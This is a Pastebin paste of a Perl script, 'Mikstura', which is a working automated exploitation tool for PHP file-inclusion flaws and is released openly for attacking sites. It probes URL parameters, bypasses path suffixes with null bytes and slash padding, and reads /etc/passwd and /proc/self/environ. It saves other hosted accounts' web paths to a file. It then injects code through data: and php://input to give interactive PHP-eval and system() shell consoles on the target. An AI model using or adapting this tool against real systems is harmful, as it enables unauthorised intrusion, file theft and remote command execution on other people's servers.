API tools faq
paste
Guest User

Mikstura ( for InAttack Release ) by Dr.TRO

a guest
May 18th, 2010
524
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.41 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. #####
  4. #
  5. # For InAttack Release
  6. # Dr.TRO <[email protected]>
  7. #
  8. #####
  9.  
  10. use strict;
  11. use warnings;
  12. use LWP::UserAgent;
  13. use Getopt::Std;
  14. use MIME::Base64;
  15.  
  16. my $ua = LWP::UserAgent->new;
  17.  
  18. my %options = ();
  19. getopts("u:p:sa:",\%options);
  20.  
  21. sub usage {
  22.     print <<USAGE
  23. Options :
  24.     -u 'url' to test url
  25.     -p 'ip:port' to use http proxy
  26.     -a 'User-Agent' to set mikstura's User-Agent header
  27.     -s flag which that using proxy is Socks4/5
  28. USAGE
  29. }
  30.  
  31. if(!$options{u}){
  32.     usage();
  33.     exit;
  34. } else {
  35.    
  36.     if($options{p}) {
  37.         $ua->proxy([qw(http https)] => $options{s} ? 'socks://' . $options{p} : 'http://' . $options{p});
  38.         print "\n[+] Using proxy: " . ($options{s} ? 'socks://' . $options{p} : 'http://' . $options{p}) . "\n";
  39.     } else {
  40.         print "\n[-] No proxy using\n";
  41.     }
  42.    
  43.     if($options{a}) {
  44.         $ua->agent($options{a});
  45.         print '[+] Using User-Agent: ' . $options{a} . "\n";
  46.     } else {
  47.         $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)');
  48.     }
  49.  
  50.    
  51.     if($options{u} =~ m/((?:http|https):\/\/([^\/\:]+)(?:\:\d+)?\/(.+\.[^\?]+)\?)(?:([^#]+)(?:#.+)?)/) {
  52.         print "[+] Starting\n";
  53.     } else {
  54.         print "[-] Bad URL (correct: (http|https)://domain/path/script.php?param_name=param_value)\n";
  55.     }
  56.        
  57.     my $OS = '';
  58.     my $WEBSERVER_DISTR;
  59.     my $ERROR_REPORTING;
  60.     my $PRE_INCLUDE_PATH;
  61.     my $AFTER_INCLUDE_PATH = '';
  62.     my $AFTER_INCLUDE_PATH_BYPASSED;
  63.     my $ALLOW_URL_INCLUDE = 1;
  64.     my $NULLBYTE = '';
  65.     my $ROOT_DIR = '/';
  66.     my $LFR;
  67.    
  68.     my $URL = $1;
  69.     my $HOST = $2;
  70.     my $REQUEST_FILE = $3;
  71.     my $GET = $4;
  72.     my %GET_REQUEST;
  73.  
  74.     if(!$GET) {
  75.         die "[x] No GET request\n";
  76.     }
  77.    
  78.     while ($GET =~ m/(?:&)?([^=]+)=([^&]+)/g) {
  79.         $GET_REQUEST{$1} = $2;
  80.     }
  81.  
  82.     if(!%GET_REQUEST) {
  83.         die "[x] Can't parse GET request\n";
  84.     }
  85.  
  86.     my %TESTING_GET_REQUEST = %GET_REQUEST;
  87.     if(length((my $TEST_RESPONSE_1 = $ua->get($URL . $GET))->content) == length($ua->get($URL . $GET)->content)){
  88.        
  89.         print "[+] Page is static...\n";
  90.        
  91.         if($TEST_RESPONSE_1->header('Server')){
  92.             print '[+] Header "Server": ' . $TEST_RESPONSE_1->header('Server') . "\n";
  93.         } else {
  94.             print "[+] Header \"Server\" not detected \n";
  95.         }
  96.         if($TEST_RESPONSE_1->header('X-Powered-By')){
  97.             print '[+] Header "X-Powered-By": ' . $TEST_RESPONSE_1->header('X-Powered-By') . "\n";
  98.         } else {
  99.             print "[+] Header \"X-Powered-By\" not detected \n";
  100.         }
  101.  
  102.     } else {
  103.         print "[x] Page isn't static...\n";
  104.         exit;
  105.     }
  106.    
  107.     while (my ($TESTING_NAME, $TESTING_VALUE) = each %TESTING_GET_REQUEST)
  108.     {
  109.        
  110.         print "\n";
  111.        
  112.         my $ENDING = '';
  113.         while (my ($NAME, $VALUE) = each %GET_REQUEST)
  114.         {
  115.             if ($TESTING_NAME ne $NAME){
  116.                 $ENDING .= '&' . $NAME . '=' . $VALUE;
  117.             }
  118.         }
  119.        
  120.         if(length(my $TEST_RESPONSE_1 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $ENDING)->content) != length(my $TEST_RESPONSE_2 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . '%2f%2a%2a%2f' . $ENDING)->content)){
  121.            
  122.             print "[?] Parameter '$TESTING_NAME' might be vulnerable...\n";
  123.             if($TEST_RESPONSE_2 =~ /<b>([\/\w\d\.]+)$REQUEST_FILE<\/b>/){
  124.                 $OS = '*nix';
  125.                 print '[+] Path found: ' . $1 . "\n";
  126.                 my $PATH = $1;
  127.                 print "[+] OS discover: *nix\n";
  128.                 if($PATH) {
  129.                     while($PATH =~ /[^\/]+\//g) {
  130.                         $ROOT_DIR .= '../';
  131.                     }
  132.                 }
  133.                 if($ROOT_DIR ne '/') {
  134.                     print '[+] Root: ' . $ROOT_DIR . "\n";
  135.                 }
  136.             }else {
  137.                 my $WIN_REQUEST_FILE = $REQUEST_FILE;
  138.                 $WIN_REQUEST_FILE =~ s/\//\\\\/g;
  139.                 if($TEST_RESPONSE_2 =~ /<b>([\w\d\:\\\.]+)$WIN_REQUEST_FILE<\/b>/){
  140.                     $OS = 'Win';
  141.                     print '[+] Path found: ' . $1 . "\n";
  142.                     print "[+] OS discover: Win\n";
  143.                 } else {
  144.                     print "[-] Path not found...\n";
  145.                 }
  146.             }
  147.        
  148.             my $QUOTED_TESTING_VALUE = quotemeta($TESTING_VALUE);
  149.             if($TEST_RESPONSE_2 =~ /(?:include|include_once|require|require_once)\((.+)?$QUOTED_TESTING_VALUE\/\*\*\/(.+)?\)/){
  150.                 print "[+] Error reporting - on\n";
  151.                 $ERROR_REPORTING = 1;
  152.                 if($1) {
  153.                     $PRE_INCLUDE_PATH = $1;
  154.                     print '[-] Founded pre-path: ' . $1 . "\n";
  155.                 }
  156.                 if($2) {
  157.                     $AFTER_INCLUDE_PATH = $2;
  158.                     print '[-] Founded after-path: ' . $2 . "\n";
  159.                 } else {
  160.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  161.                     if(!$1) {
  162.                         print "[+] It's clear include\n";
  163.                     } else {
  164.                         print "[+] After-path not found\n";
  165.                     }
  166.                 }
  167.             }
  168.                        
  169.             if($AFTER_INCLUDE_PATH) {
  170.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . '%00' . $ENDING)->content;
  171.                 $TEST_RESPONSE_3 =~ s/$AFTER_INCLUDE_PATH\x00//g;
  172.                 if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
  173.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  174.                     print "[+] Ussing default null-byte\n";
  175.                     $NULLBYTE = '%00';
  176.                 } else {
  177.                     for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
  178.                     if($OS ne "Win") {
  179.                         $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $TESTING_VALUE . $AFTER_INCLUDE_PATH . $NULLBYTE . $ENDING)->content;
  180.                         if(length($TEST_RESPONSE_3) == length($TEST_RESPONSE_1)) {
  181.                             $AFTER_INCLUDE_PATH_BYPASSED = 1;
  182.                             print "[+] Ussing slash alternative null-byte\n";
  183.                         } else {
  184.                             print "[-] Cannot bypass after-path\n";
  185.                         }
  186.                     } else {
  187.                         print "[-] Cannot bypass after-path\n";
  188.                     }
  189.                 }
  190.             }
  191.            
  192.             if(!$AFTER_INCLUDE_PATH_BYPASSED) {
  193.                 $NULLBYTE = '%00';
  194.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  195.                 if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  196.                     $AFTER_INCLUDE_PATH_BYPASSED = 1;
  197.                     print "[+] Bypassed after-path with null-byte\n";
  198.                 } else {
  199.                     $NULLBYTE = '';
  200.                     for (0..(4095 - length($TESTING_VALUE))) { $NULLBYTE .= '/'; }
  201.                     my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=/../../../../../../../../../../../../../../../etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  202.                     if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  203.                         $AFTER_INCLUDE_PATH_BYPASSED = 1;
  204.                         print "[+] Bypassed after-path with slashes\n";
  205.                     } else {
  206.                         print "[-] Cann't bypass after-path\n";
  207.                     }
  208.                 }
  209.             }
  210.            
  211.             if((!$OS | $OS eq '*nix') && $ROOT_DIR eq '/') {
  212.                 my $DONE = 0;
  213.                 while(length($ROOT_DIR) < 47 and $DONE == 0) {
  214.                     my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  215.                     if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  216.                         $DONE = 1;
  217.                         $AFTER_INCLUDE_PATH_BYPASSED = 1;
  218.                         print '[+] Root: ' . $ROOT_DIR . "\n";
  219.                     }
  220.                     if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
  221.                         open(FH, '>' . $HOST . '_web-hosts.txt');
  222.                         while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
  223.                             print FH "$1 - $2\n";
  224.                         }
  225.                         close(FH);
  226.                         print "[+] Getted list of other web-hostings\n";
  227.                     }
  228.                     $ROOT_DIR .= '../';
  229.                 }
  230.                    
  231.                 if($DONE == 0) {
  232.                     while(length($ROOT_DIR) < 47 and $DONE == 0) {
  233.                         my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'etc/passwd' . $AFTER_INCLUDE_PATH . $NULLBYTE  . $ENDING)->content;
  234.                         if($TEST_RESPONSE_3 =~ /\w+\:\D\:\d+\:\d+\:\w+\:/){
  235.                             $DONE = 1;
  236.                             $AFTER_INCLUDE_PATH_BYPASSED = 1;
  237.                             print '[+] Root: ' . $ROOT_DIR . "\n";
  238.                         }
  239.                         open(FH, '>' . $HOST . '_web-hosts.txt');
  240.                         if($TEST_RESPONSE_3 =~ /[^\:\s]+\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:[^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?\:\S+\s/) {
  241.                             open(FH, '>' . $HOST . '_web-hosts.txt');
  242.                             while($TEST_RESPONSE_3 =~ /([^\:\s]+)\:(?:\*|x)\:\d+\:\d+\:[^\:]+\:([^\:]+(?:www|public_html|htdocs)(?:[^\:]+)?)\:\S+\s/g) {
  243.                                 print FH "$1 - $2\n";
  244.                             }
  245.                             close(FH);
  246.                             print "[+] Getted list of other web-hostings\n";
  247.                         }
  248.                         $ROOT_DIR .= '../';
  249.                     }
  250.                     if($DONE == 0) {
  251.                         print "[-] Root path not found\n";
  252.                     } else {
  253.                         print "[-] It's seem site has WAF\n";
  254.                     }
  255.                 }
  256.             }
  257.            
  258.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
  259.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=http://google.com/' . $NULLBYTE . $ENDING)->content;
  260.                 if($TEST_RESPONSE_3 !~ /(?:include|include_once|require|require_once)\(http:\/\/google.com\/\)/ && $TEST_RESPONSE_3 =~ /<title>Google<\/title>/){
  261.                     $ALLOW_URL_INCLUDE = 1;
  262.                     print "[+] Remote File Include - avaible\n";
  263.                     print "[+] allow_url_include = 1\n";
  264.                 } else {
  265.                     print "[-] Remote File Include - disalowed\n";
  266.                     if ($TEST_RESPONSE_3 =~ /allow_url_include=0/ || $TEST_RESPONSE_3 =~ /URL file-access is disabled/) {
  267.                         $ALLOW_URL_INCLUDE = 0;
  268.                         print "[-] allow_url_include = 0\n";
  269.                     } else {
  270.                         print "[?] allow_url_include - unknow value\n";
  271.                     }
  272.  
  273.                 }
  274.             }
  275.                        
  276.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED) {
  277.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/version' .  $NULLBYTE . $ENDING)->content;
  278.                 if($TEST_RESPONSE_3 =~ /(Linux version.+\(gcc.+\(([\w\s]+) [\d\.\-\w]+.+\)(?:.+)?\).+\w{3} \d{4})/){
  279.                     print "[+] cat /proc/version :\n";
  280.                     print $1 . "\n";
  281.                     print '[+] Distr: ' . $2 . "\n";
  282.                 } else {
  283.                     print "[-] cat /proc/version\n";
  284.                 }
  285.             }
  286.            
  287.             if($AFTER_INCLUDE_PATH_BYPASSED) {
  288.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=' . $ROOT_DIR . 'proc/self/environ' .  $NULLBYTE . $ENDING)->content;
  289.                 if ($TEST_RESPONSE_3 =~ /include\((?:$ROOT_DIR)proc\/self\/environ\).+Permission denied/){
  290.                     print "[-] Haven't enougth permissions to /proc/self/environ\n";
  291.                 } elsif ($TEST_RESPONSE_3 =~ /HTTP_USER_AGENT=[^\x00]+\x00/){
  292.                     print "[+] /proc/self/environ\n";
  293.                 } else {
  294.                     print "[-] /proc/self/environ\n";
  295.                 }
  296.             }
  297.            
  298.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
  299.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=data%3A%3Bbase64%2C%20PD9waHAgZWNobyAxMDA1MDA7ID8%2b' . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING)->content;
  300.                 if($TEST_RESPONSE_3 =~ /\<\?php echo 100500\; \?\>/) {
  301.                     $LFR = 1;
  302.                     print "[-] It's LFR\n";
  303.                 } elsif ($TEST_RESPONSE_3 =~ /100500/) {
  304.                     $LFR = 0;
  305.                     $ALLOW_URL_INCLUDE = 1;
  306.                     print "[+] allow_url_include = 1\n";
  307.                     print "[+] It's include with data: scheme support\n";
  308.                     print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
  309.                     chomp(my $ANSWER = <STDIN>);
  310.                     if($ANSWER eq 'y') {
  311.                         $TEST_RESPONSE_3 =~ /(.+)100500(.+)/s;
  312.                         my $PRE_ANSWER = quotemeta($1);
  313.                         my $AFTER_ANSWER = quotemeta($2);
  314.                         print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  315.                         my $ANSWERED = 0;
  316.                         while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
  317.                             if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
  318.                                 print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  319.                             } else {
  320.                                 if ($ANSWER eq 'p') {
  321.                                     $ANSWERED = 1;
  322.                                     my $SH = 1;
  323.                                     print "[+] PHP interactive console\n";
  324.                                     while($SH) {
  325.                                         print '[:] ';
  326.                                         chomp(my $CMD = <STDIN>);
  327.                                         if($CMD ne 'quit') {
  328.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
  329.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  330.                                                 print "$1\n";
  331.                                             } else {
  332.                                                 print 'No result returned for ' . $CMD . "\n";
  333.                                             }
  334.                                         } else {
  335.                                             $SH = 0;
  336.                                         }
  337.                                     }
  338.                                 } elsif ($ANSWER eq 's') {
  339.                                     $ANSWERED = 1;
  340.                                     $ANSWERED = 1;
  341.                                     my $SH = 1;
  342.                                     print "[+] Shell interactive console\n";
  343.                                     while($SH) {
  344.                                         print '[:] ';
  345.                                         chomp(my $CMD = <STDIN>);
  346.                                         if($CMD ne 'quit') {
  347.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
  348.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  349.                                                 print "$1\n";
  350.                                             } else {
  351.                                                 print 'No result returned for ' . $CMD . "\n";
  352.                                             }
  353.                                         } else {
  354.                                             $SH = 0;
  355.                                         }
  356.                                     }; 
  357.                                 } elsif ($ANSWER eq 'c') {
  358.                                     print "[-] Canceled\n";
  359.                                     $ANSWERED = 1;
  360.                                 }
  361.                             }
  362.                         }
  363.                        
  364.                     }
  365.                 }
  366.             }
  367.  
  368.             if(!$PRE_INCLUDE_PATH && $AFTER_INCLUDE_PATH_BYPASSED && $ALLOW_URL_INCLUDE) {
  369.                 my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php echo \'<version>\' . substr(phpversion(), 0, 1) . \'</version>\'; ?>')->content;
  370.                 if($TEST_RESPONSE_3 =~ /\<\?php\ echo\ (:\\)?\'\<version\>(:\\)?\'\ \.\ substr\(phpversion\(\)\,\ 0\,\ 1\)\ \.\ (:\\)?\'\<\/version\>(:\\)?\'\;\ \?\>/) {
  371.                     $LFR = 1;
  372.                     print "[-] It's LFR\n";
  373.                 } elsif ($TEST_RESPONSE_3 =~ /<version>(\d+)<\/version>/) {
  374.                     $LFR = 0;
  375.                     $ALLOW_URL_INCLUDE = 1;
  376.                     print "[+] It's include with php://input scheme support\n";
  377.                     print "[?] Enter into interactive php-eval/shell console? [y/N]\n[:] ";
  378.                     chomp(my $ANSWER = <STDIN>);
  379.                     if($ANSWER eq 'y') {
  380.                         $TEST_RESPONSE_3 =~ /(.+)<version>\d+<\/version>(.+)/s;
  381.                         my $PRE_ANSWER = quotemeta($1);
  382.                         my $AFTER_ANSWER = quotemeta($2);
  383.                         print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  384.                         my $ANSWERED = 0;
  385.                         while(!$ANSWERED && chomp(my $ANSWER = <STDIN>)) {
  386.                             if($ANSWER ne 'p' && $ANSWER ne 's' && $ANSWER ne 'c') {
  387.                                 print "[?] [p]hp-eval or [s]hell or [c]ancell?\n[:] ";
  388.                             } else {
  389.                                 if ($ANSWER eq 'p') {
  390.                                     $ANSWERED = 1;
  391.                                     my $SH = 1;
  392.                                     print "[+] PHP interactive console\n";
  393.                                     while($SH) {
  394.                                         print '[:] ';
  395.                                         chomp(my $CMD = <STDIN>);
  396.                                         if($CMD ne 'quit') {
  397.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php ' . $CMD . ' ?>')->content;
  398.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  399.                                                 print "$1\n";
  400.                                             } else {
  401.                                                 print 'No result returned for ' . $CMD . "\n";
  402.                                             }
  403.                                         } else {
  404.                                             $SH = 0;
  405.                                         }
  406.                                     }
  407.                                 } elsif ($ANSWER eq 's') {
  408.                                     $ANSWERED = 1;
  409.                                     $ANSWERED = 1;
  410.                                     my $SH = 1;
  411.                                     print "[+] Shell interactive console\n";
  412.                                     while($SH) {
  413.                                         print '[:] ';
  414.                                         chomp(my $CMD = <STDIN>);
  415.                                         if($CMD ne 'quit') {
  416.                                             my $TEST_RESPONSE_3 = $ua->get($URL . $TESTING_NAME . '=php%3A%2f%2finput'  . $NULLBYTE . $AFTER_INCLUDE_PATH . $ENDING, Content => '<?php system(\'' . $CMD . '\'); ?>')->content;
  417.                                             if($TEST_RESPONSE_3 =~ /$PRE_ANSWER(.+)\s$AFTER_ANSWER/sm) {
  418.                                                 print "$1\n";
  419.                                             } else {
  420.                                                 print 'No result returned for ' . $CMD . "\n";
  421.                                             }
  422.                                         } else {
  423.                                             $SH = 0;
  424.                                         }
  425.                                     }; 
  426.                                 } elsif ($ANSWER eq 'c') {
  427.                                     print "[-] Canceled\n";
  428.                                     $ANSWERED = 1;
  429.                                 }
  430.                             }
  431.                         }
  432.                        
  433.                     }
  434.                     if($1 >= 5) {
  435.                         print "[+] It's include with php://filter scheme support\n";
  436.                     }
  437.                 }
  438.             }
  439.            
  440.         } else {
  441.             print "[-] Parametr '$TESTING_NAME' isn't vulnerable...\n";
  442.         }
  443.     }
  444.     print "\n"
  445. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!